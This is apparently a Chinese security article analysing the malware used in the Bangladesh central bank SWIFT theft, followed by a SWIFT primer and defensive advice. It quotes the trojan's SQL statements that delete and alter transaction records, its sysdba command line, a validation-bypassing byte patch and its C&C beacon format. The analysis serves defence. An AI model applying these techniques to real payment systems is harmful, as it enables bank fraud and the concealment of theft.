SWIFT惊天银行大劫案全程分析

1.前言

最近,使用国际银行业合作SWIFT系统的银行频频发生被盗,是由于SWIFT系统真的存在严重安全问题,还是跟好莱坞大片那样直接撬开银行金库?本文将针对孟加拉国央行被盗的案例进行了技术分析,还原银行被盗的整个过程。

本文将分为两大部分:第一部分为孟加拉国央行案例的整体分析,包括孟加拉国央行的风险分析,木马分析,篡改金额等具体技术细节分析,第二部分为科普SWIFT系统基本简介、银行识别代码、报文以及系统架构等知识。

如果不熟悉SWIFT整个系统流程的可先阅读第二部分了解SWIFT机制再阅读第一部分的木马分析。

2.孟加拉国央行被盗过程还原

2.1. 事件概述

从去年开始,世界范围内使用SWIFT系统的银行相继被曝出盗窃案件,从2015年1月的厄瓜多尔银行损失1200万美元,10月的菲律宾银行,到今年2月孟加拉国央行曝出被盗窃8100万美元。一系列的案件逐渐引起了人们对SWIFT系统的关注,并对SWIFT系统的安全性打上了问号。

根据孟加拉国央行人员以及警方消息,孟加拉国央行被盗并非空穴来风,原因是该行缺乏任何防火墙设备,而且使用的是价值10美元的二手交换机,网络结构也没有将SWIFT相关服务器与其他网络做隔离。

有进一步的消息表明,孟加拉国央行的技术人员搭建了可以直接访问SWIFT系统的WIFI接入点,只使用了简单的密码保护,另一方面,安装了SWIFT系统的服务器并没有禁用USB接口,这些种种现象表明,该行的网络安全存在各种巨大安全隐患,被黑客盯上只是时间的问题。

本报告重点对木马主程序进行了逆向分析,包括行为监控,绕过安全校验机制,篡改金额等进行了分析,覆盖了整个窃取金额的主要流程。对于黑客幕后组织,其他银行SWIFT被盗案例暂不深入分析。

从下面的攻击流程概要可以看出:

木马程序evtdiag.exe可以用不同的参数来启动,主要功能是以Windows服务启动的进程来实现。通过配置文件读取攻击所需要的信息,如CC服务器地址,SWIFT报文关键字段,收款人等,然后通过实时监听转账交易缓存记录,实时劫持到转账所需要的消息ID,并在数据库中删除该交易记录。

接下来恶意程序通过监控日志查找孟加拉国央行的登录行为,如果没有找到则睡眠5秒后再次搜索。当监控到登录行为后,绕过SWIFT客户端的安全机制后,监控关键目录下的缓存报文信息并解析,根据解析结果获得转账账户当前最大可用余额,并成功篡改交易金额和收款人,达到窃取资金的目的。

此外恶意程序还劫持打印机篡改需要打印的对账单,避免银行业务人员发现篡改行为,从而延长了银行追查资金的时间,让黑客有更多的时间去洗钱。

2.2. 攻击前的准备

根据第一部分介绍的SWIFT系统基础知识,最容易切入的点非SWIFT接入服务器莫属,攻击者通过种植精心编译的木马得到SWIFT Alliance Access software服务器的权限,重点攻破以下几个关卡达到了窃取非法资金的目的:

l 获得SWIFTAlliance Access software控制权 l 破解SWIFT报文安全检验机制 l 监听目标报文并进行篡改操作并实现对账平衡(主要是转入/转出) l 劫持打印机打印篡改前对账单

整理获取到的信息,从恶意软件样本可以看出攻击者不仅有良好的恶意软件编写功底,还对整个SWIFT架构业务非常熟悉,甚至对数据库的表结构都了如指掌。

2.3. 恶意文件的启动

启动恶意程序evtdiag.exe时接收不同的启动参数,从而达到不同的功能。接收的参数有-svc、-g、-p、resume、pause、on、off、queue,其中on、pause、resume、off、queue都是对打印机功能的操作,-svc参数则是将木马以windows服务方式启动,服务名为evtsys.exe。

在运行时,恶意软件通过读取它的配置文件gpca.dat,该配置文件在服务器的路径如下:

[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\gpca.dat

而且通过RC4加密,而密钥如下:

4e 38 1f a7 7f 08 cc aa 0d 56 ed ef f9 ed08 ef

该恶意软件还通过以下的文件来记录恶意程序的日志信息:

[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\recas.dat

2.4. 实时监控转账交易

恶意软件的第二个步骤是开始进行监听SWIFT Financial Application (FIN)报文,重点关注下面目录的*PRC和*fal文件

[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\in\ [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\out\

猜测这两个目录保存的转入/转出报文的临时文件,而*PRC和*FAL文件则是转账对应的报文。恶意程序会深入解析这两种格式的文件,根据配置文件gpca.dat定义的字符串进行搜索,定义的字符串如下:

“FIN 900 Confirmation of Debit”(FIN 900确认借记) “20: Transaction”(20:交易) “Sender :”(汇款方)

如果搜索到了指定的字符串则会尝试提取MESG_TRN_REF(汇款人)和MESG_SENDER_SWIFT_ADDRESS(汇款人SWIFT地址)信息,紧接着可以通过MESG_TRN_REF(汇款人)和MESG_SENDER_SWIFT_ADDRESS(汇款人的SWIFT地址)这两个值拼接成一个SQL语句,来获得唯一的SWIFT消息ID:

SELECT MESG_S_UMID FROM SAAOWNER.MESG_%s WHERE MESG_SENDER_SWIFT_ADDRESS LIKE '%%%s%%' ANDMESG_TRN_REF LIKE '%%%s%%';

获得该SWIFT消息ID后,在本地数据库中删除本条交易记录:

DELETE FROM SAAOWNER.MESG_%sWHERE MESG_S_UMID = '%s'; DELETE FROM SAAOWNER.TEXT_%s WHERE TEXT_S_UMID = '%s';

这里解释一下MESG_S_UMID以及这个操作的含义。根据业内人士介绍,MESG_S_UMID所对应的银行收到的汇款请求ID,该ID对应的记录包含了汇款请求所需要的各种信息,包括转账账户,收款账户,汇款金额,汇款银行等。

从业务场景分析来看,被攻击的银行实际是个代理行,在正常的业务流程下,代理行接收到汇款请求后,确认无误后再转发给SWIFT系统的下一个结点,而代理行被攻击的场景下,在数据库中将代理行收到的汇款请求删除,即意味着将正常的汇款交易请求记录在数据库被删除了。

接下来所有需要执行的SQL语句都被劫持,并保存到以”SQL”开头的临时文件中,而且所有的SQL语句执行前把数据的异常输出都关闭,确保不被系统或管理员发现异常:

SET HEADING OFF; SET LINESIZE 32567; SET FEEDBACK OFF; SET ECHO OFF; SET FEED OFF; SET VERIFY OFF;

将SQL临时文件构成后,恶意软件通过以下命令在终端以sysdba的权限来执行SQL语句:

cmd.exe /c echo exit |sqlplus -S / as sysdba@[SQL_Statements]> [OUTPUT_FILE]

之后恶意程序进入一个循环,它将一直在数据库中搜索包含“登录”的日志记录:

SELECT * FROM (SELECTJRNL_DISPLAY_TEXT, JRNL_DATE_TIME FROM SAAOWNER.JRNL_%s WHERE JRNL_DISPLAY_TEXT LIKE '%%LT BBHOBDDHA: Log%%' ORDERBY JRNL_DATE_TIME DESC) A WHERE ROWNUM = 1; PS:BBHOBDDH为孟加拉国在达卡的SWIFT代码,即孟加拉国央行

如果没有搜索到“登录”记录,则休眠5秒,然后再次尝试搜索。

如果搜索到“登录”记录,则向C&C服务器发送一个GET请求,GET请求格式如下:

[C&C_server]/al?[data]

data有以下三种情况:

—O:Open,检测到登录行为; —C:Close,检测到注销行为; —N:None,没有事件发生。

2.5. 绕过安全机制

通过SWIFT的系统架构可以知道在整个SWIFT系统的地区处理机(RP)会将SWIFT访问点(SAP)提交的业务报文进行一系列的安全校验,包括格式,语法,地址代码等信息,如果安全检测不通过则停止往上提交,同时会返回给SAP提示报文错误信息。

除了在RP有安全检验外,SWIFT Alliance Access software同样存在安全校验。通过分析得知,SWIFTAlliance Access software的安全校验是依靠挂载了liboradb.dll的进程。

恶意软件通过遍历所有的进程信息,如果找到一个挂载了liboradb.dll进程,它会在进程的特定偏移地址更改2个字节数据。实际操作是用NOP指令(0×90,0×90)替换JNZ指令(0×75,0×04),玩过破解的人们都知道这是软件暴力破解最常用的手段之一。

这个关键跳的作用就是判断报文是否符合安全校验的关键跳,而报文在SAP/RAP,RP节点只对报文的格式规范进行校验,缺少对安全性的校验,因此可以成功绕过SWIFT的报文安全校验机制。

这样更改的效果是重要的安全检验结果将被忽略,安全校验代码永远执行不了“失败”,而且保存校验结果的eax寄存器都是赋值0(意味着成功)。该liboradb.dll是属于SWIFT’s Alliance software的组件之一,负责的功能有:

从注册表中获取数据库的路径 启动数据库 执行数据库的备份和恢复功能

到目前为止,恶意软件通过修改SWIFT’s Alliance software软件达到劫持的目的,攻击者可以在服务器上操作SWIFT报文和数据库的控制权限。

2.6. 篡改金额并维持平衡

恶意软件从以下目录监听SWIFT报文,将监听到的报文进行解析,对以下信息进行重点关注:

"19A: Amount" ": Debit" "Debit/Credit :" "Sender :" "Amount :" "FEDERAL RESERVE BANK" " D" " C" "62F: " “60F: " "60M: " "62M: " "Credit" "Debit" " 64: " " 20: Transaction" "90B: Price" 62F:该对帐单结束时的帐面结存的最后余额 60F:该对帐单结束时的帐面结存的起始余额 19A:该对帐单涉及的交易金额

恶意软件通过以上关键字搜索到了所需要的信息,然后通过MESG_S_UMID查询有

SELECTMESG_FIN_CCY_AMOUNT FROM SAAOWNER.MESG_%s WHERE MESG_S_UMID = '%s';

另外该恶意软件也可以通过上一步查询到的余额和汇款方SWIFT地址来获得唯一的SWIFT消息ID(MESG_S_UMID )

SELECT MESG_S_UMID FROM SAAOWNER.MESG_%s WHEREMESG_SENDER_SWIFT_ADDRESS LIKE '%%%s%%' AND MESG_FIN_CCY_AMOUNTLIKE '%%%s%%';

最后可以通过UPDATE操作,将转账消息中的交易余额更改为之前获得到的最多可用余额

(MESG_FIN_CCY_AMOUNT) UPDATE SAAOWNER.MESG_%sSET MESG_FIN_CCY_AMOUNT = '%s' WHERE MESG_S_UMID = '%s'; UPDATE SAAOWNER.TEXT_%s SET TEXT_DATA_BLOCK = UTL_RAW.CAST_TO_VARCHAR2('%s')WHERE TEXT_S_UMID = '%s';

其中TEXT_DATA_BLOCK字段包含了汇款的金额、收款人信息。变量v27是从sub_40B6F0和sub_40A4C0函数中处理得到的,通过进一步分析sub_40B6F0函数得知,该变量是综合了之前获得的60F,62F,60M,62M等转账汇报信息,经过处理后传输执行SQL语句的函数,最终达到篡改金额的目的。

2.7. 欺骗打印机

以上的操作已经可以在SWIFT系统中进行任意的转账,但仅仅这些还是不够的,因为SWIFT系统进行转账业务时仍会打印对账单(MT950)进行确认。

对账单是通过打印机打印的,这个过程好比个人去银行柜台办理业务时,银行通常会打印办理业务确认信息供客户签字确认,如果打印机直接打印篡改后的转账记录,银行业务员可以在第一时间发现异常行为,这直接会暴露攻击者意图而且转账失败。

因此攻击者编写了劫持打印对账单的恶意程序—— nroff_b.exe。

通过分析nroff.exe得知,该程序接收以下参数:

-p 执行打印机相关操作 resume:恢复打印机 pause:暂停打印机 on:连接打印机 off:断开打印机 queue:枚举打印机任务

该恶意程序通过劫持要打印的对账单,进行读取,理解并篡改成打印机命令语言(PCL)的PRT文本,然后这个PRT文本通过nroff.exe程序进行提交打印任务,提交打印任务后随即将临时PRT文本彻底删除。

3.SWIFT系统基础介绍

3.1. SWIFT简介

SWIFT又称:“环球同业银行金融电讯协会”,是国际银行同业间的国际合作组织,成立于一九七三年,总部设在比利时的布鲁塞尔,同时在荷兰阿姆斯特丹和美国纽约分别设立交换中心(Swifting Center),并为各参加国开设集线中心(National Concentration),为国际金融业务提供快捷、准确、优良的服务。

目前全球大多数国家大多数银行已使用SWIFT系统。SWIFT的使用,使银行的结算提供了安全、可靠、快捷、标准化、自动化的通讯业务,从而大大提高了银行的结算速度。

3.2. SWIFT银行识别代码

每个银行申请加入SWIFT组织时,SWIFT会根据统一原则分配属于本行的SWIFT地址代码(相当于一个银行账户)。银行识别码(Bank Identifier Code—BIC)是由电脑可以自动判读的八位或是十一位英文字母或阿拉伯数字组成,以中国银行北京分行为例:

3.3. SWIFT提供的服务

接入服务(Connectivity)包括SWIFT AllianceAccess and Entry 、SWIFTAlliance Gateway 、SWIFTAlliance Webstation 、File TransferInterface 等接入模式;

金融信息传送服务(Messaging)包括SWIFTNetFIN 、SWIFTNet InterAct 、SWIFT FileAct 、SWIFTNeBrowse 等传输模式;

交易处理服务(transactionprocessing)提供交易处理匹配服务、实时报告的双边净额清算服务、支持B2B的商务中的端对端电子支付等;

分析服务与分析工具(AnalyticalServices/Tools)向金融机构提供一些辅助性的服务,即分析服务与分析工具。

本次央行被盗的突破口就是接入服务的SWIFT Alliance access software软件服务被种植了转账木马的。

3.4. SWIFT报文

银行常用的SWIFT报文格式有:

MT100客户汇款; MT200单笔银行头寸调入发报行账户; MT202单笔银行头寸调拨; MT204备付金索汇; MT400付款通知(托收); MT700开立跟单信用证; MT707跟单信用证的修改; MT900借记证实; MT910贷记证实 MT950对账单; MTn95查询; MTn99自由格式。

3.5. SWIFT系统架构

SWIFT网络由许多分布在世界各地的计算机和网络设备组成,这些设备在SWIFT网络中称为节点。SWIFT的系统构架图如下:

(1)系统控制处理机(systemcontrol processor,缩写为SCP)

整个SWIFT网络的控制集中在整个操作中心,一个在美国,一个在荷兰。SCP负责整个WSIFT网络的正常运行,不断监测直辖市、控制网络中的各种设备、线路和用户访问。

在美国、荷兰的操作中心,各有两台SCP,在任何时刻,只有一台处于激活状态,控制整个网络,其余三台SCP处于热备份状态,在激活SCP出现故障时,备份SCP被激活,保证了网络的安全可靠性。

(2)片处理机(slice processor,缩写为SP)

SP负责电报的存储转发和控制电报的路由选择。目前,两个操作中心各有两台SP处于激活状态,同时每个激活的SP都有一台同型号的SP进行热备份。为适应发报量不断增长的需要,还要陆续增加SP。

目前,SWIFT采用UNISYS公司的A系列主机作为SCP和SP。

(3)地区处理机(reginalprocessor,缩写为RP)

RP是连接SWIFT网络终端(computer based terminal,缩写为CBT)与SWIFT系统的安全有效的逻辑通道,运行在RP上的软件与运行在CBT上的接口软件通讯,所有用户发出的电报都由RP对其格式、语法、地址代码等进行审核,合格后才能发往SP。

在电报即将出网进入CBT前,也暂时存在RP上,等待送达接收用户。每台RP基本上承担一个国家的电报处理,所以称之为地区处理机,所有的RP都在美国和荷兰的两大操作中心内。

(4)SWIFT访问点(SWIFTAccess Point,缩写为SAP)和远程访问点(RAP)

SAP是连接SWIFT骨干网(SWIFT transport network,缩写为STN)的分组交换节点机,他们把SWIFT系统的各种处理机(SCP、SP、RP)和遍布世界的SWIFT用户连接到STN网上。

目前,SAP采用北方电讯公司的DPN100交换机,整个SWIFT骨干网有150台左右DPN100交换机(包括备份)。

(5)用户与SAP的联接

用户访问SWIFT系统需要有一套计算机系统与SWIFT系统相联接,这套计算机系统称为Computer Based Terminal(CBT),CBT中运行的SWIFT接口软件与SWIFT系统通讯。目前有多个计算机公司开发的运行在多种平台上的SWIFT接口软件。

CBT支持一个或几个逻辑终端(LT),在一个物理的CBT支持几个LT(即一个用户定义几个LT)的情况下,SWIFT系统将每个LT在逻辑上看成是相互独立的。一个LT必须登陆到SWIFT系统,也就是必须与SWIFT系统的服务应用建立对话关系。

3.6.访问SWIFT系统流程

在SWIFT系统中,一个LT需要登录到SWIFT系统才可以建立应用对话关系,而SWIFT提供的用户之间的电报交换功能是使用户进入两种SWIFT应用层才能实现的。

这两种应用是:GPA(general purpose application)—提供用户与系统有关的各类电报,并能控制用户对FIN应用的访问。

FIN(Financial Application)—包括全部用户之间的业务电报和FIN系统电报。一个LT具体的登录流程如下:

4.分析总结

从整个攻击过程来看,体现了攻击者对SWIFT系统及业务都十分了解,SWIFT作为全球银行使用最多的结算系统,虽然搭建了专属的网络架构和各种标准与规范,看似安全性极高的系统最近却频频出现被盗的案例。

作为企业的防守方,除了分析攻击者的攻击套路外,更多的需要思考如何面对如此高级别的APT攻击,而孟加拉国的央行给我们上了极好的一课。

分析完孟加拉国央行整个案例,从事前预防,事中监控,事后审计三个角度来总结:

(1)事前预防。从孟加拉国央行的网络环境得知系统的风险点有:

网络隔离,服务器如果跟客户端或PC处于同个网络环境,将大大增加服务器的可攻击面,因此建议企业安全人员,尤其是银行业的从业人员,务必要重视网络区域划分,梳理清楚业务的需求,最好可以做到端口级的策略。

如果孟加拉国央行可以实现这点,那么木马在运行时访问CC服务器时就能够发现这个异常的行为,从而中止恶意交易请求,减少损失。

安全设备,像孟加拉国央行的二手交换机肯定是无法满足安全需求的,而国内在监管部门的推动下,金融机构基本上都有采购专用的网络安全设备。然而使用效率则出现各种情况,据路边社消息有些机器采购后连电源都没有插上。这部分仍需要持续加强部分。

访问认证,孟加拉国央行技术人员搭建的WIFI其实是很不安全的做法,同样在国内各个企业都会遇到这样的难题,由于便携式WIFI普及,很多企业员工私自建立个WIFI热点,这些临时WIFI热点通常是个弱口令,这给攻击者带来极大的便利,因为企业员工的计算机通常是可以访问企业内部网络的。

终端安全,USB口是企业安全人员容易忽略的部分,目前国内通常在企业服务器的基线配置中会将禁用USB作为安全标准之一,而大部分企业并没有对员工PC的USB口没有禁用,因为USB在工作过程中确实带来很多便利的地方,但同时也是存在风险的地方。

(2)事中监控

在本次的银行案例中,服务器被种植木马后除了攻击者外谁都没有察觉到木马的存在。在做好事先的网络策略的前提下,企业还可以通过IPS/IDS设备,网络流量异常监控,服务器文件完整性监控,如果是应用软件提供商,还需要在内存中做完整性校验,避免黑客直接在内存中修改程序逻辑。

(3)事后审计

孟加拉国央行察觉被盗后,由于系统数据库中的交易记录已被恶意程序删除,直接导致事后追查资金十分困难。

这也提醒企业在日志记录也要给予足够的重视,事后如果知道4个W(When/Who/What/Where)将大大提高审计的效率,通常关注的日志有网络访问日志,数据库执行日志,操作系统日志,应用程序日志,对于业务系统也要具备完善的日志模块,笔者曾遇到某业务系统,连普通的查询请求都详细的记录到日志模块里。

当然,以上几点总结并不足于覆盖整个企业的安全工作,安全工作需要上下一条心,给予足够的重视和推动,才能把安全工作做到位,最终为企业的业务保驾护航。

5.附录

http://www.treasurer.org.cn/webinfosmains/index/show/54703.html

http://baesystemsai.blogspot.jp/2016/04/two-bytes-to-951m.html

http://www.freebuf.com/vuls/106026.html

*本文作者:白泽安全团队,本文属FreeBuf原创奖励计划,未经许可禁止转载

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2016-06-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏杨建荣的学习笔记

服务器硬件问题整理的一点总结 (r7笔记第70天)

之前写过一篇通过shell来监控磁盘坏块的文章 http://blog.itpub.net/23718752/viewspace-1872978/ 从使用情况来...

3937
来自专栏点滴积累

OpenStack(企业私有云)万里长征第一步——安装

一、前言 单位新进了十几台服务器,建了一个高标准的一体化机房,状似刘姥姥进大观园的我,从机房规划到企业私有云搭建一一重头学来,除了机房泥墙其他基本都涉猎到了。 ...

5476
来自专栏记事本

To be more efficient

3254
来自专栏国产自主可控存储

深圳领存技术发布国产飞腾带自毁功能的存储阵列

4U飞腾FT-1500A存储服务器,24个2.5” SAS盘位,支持领存特制军工固态硬盘,具备一键物理自毁和一键逻辑自毁双重自毁功能,具备领存SSD与存储阵列绑...

5378
来自专栏腾讯数据中心

交流开关电源直供高压直流的路在何方?

距IT设备240V高压直流供电标准的诞生已过三年。现如今,某些电信运营商和一些大型互联网公司,已经有数目可观的IT设备、IDC机房、核心网络和业务平台采用270...

3489
来自专栏移动端开发

AVFoundation 框架初探究(一)

夜深时动笔 ----       前面一篇文章写了视频播放的几种基本的方式,算是给这个系列开了一个头,这里面最想说和探究的就是AVFoundation框架,很想...

7415
来自专栏编程之旅

iOS开发 —— Swift版地址选择器

已经有二十多天没有更新自己的博客了,这段时间经历了很多事情,离开了生活了六七年的杭州,从离职再入职,忙的是一塌糊涂。

1152
来自专栏申龙斌的程序人生

访问Bigone API获取数字资产的余额

昨天写了一篇文章《Bigone API 升级到v2,害死程序员》,有人反映API文档无法打开,请自备梯子访问https://open.big.one。

1332
来自专栏芋道源码1024

中国程序员容易发音错误的单词

1203
来自专栏JadePeng的技术博客

HTML5录音控件

最近的项目又需要用到录音,年前有过调研,再次翻出来使用,这里做一个记录。 HTML5提供了录音支持,因此可以方便使用HTML5来录音,来实现录音、语音识别等功能...

1.5K5

扫码关注云+社区

领取腾讯云代金券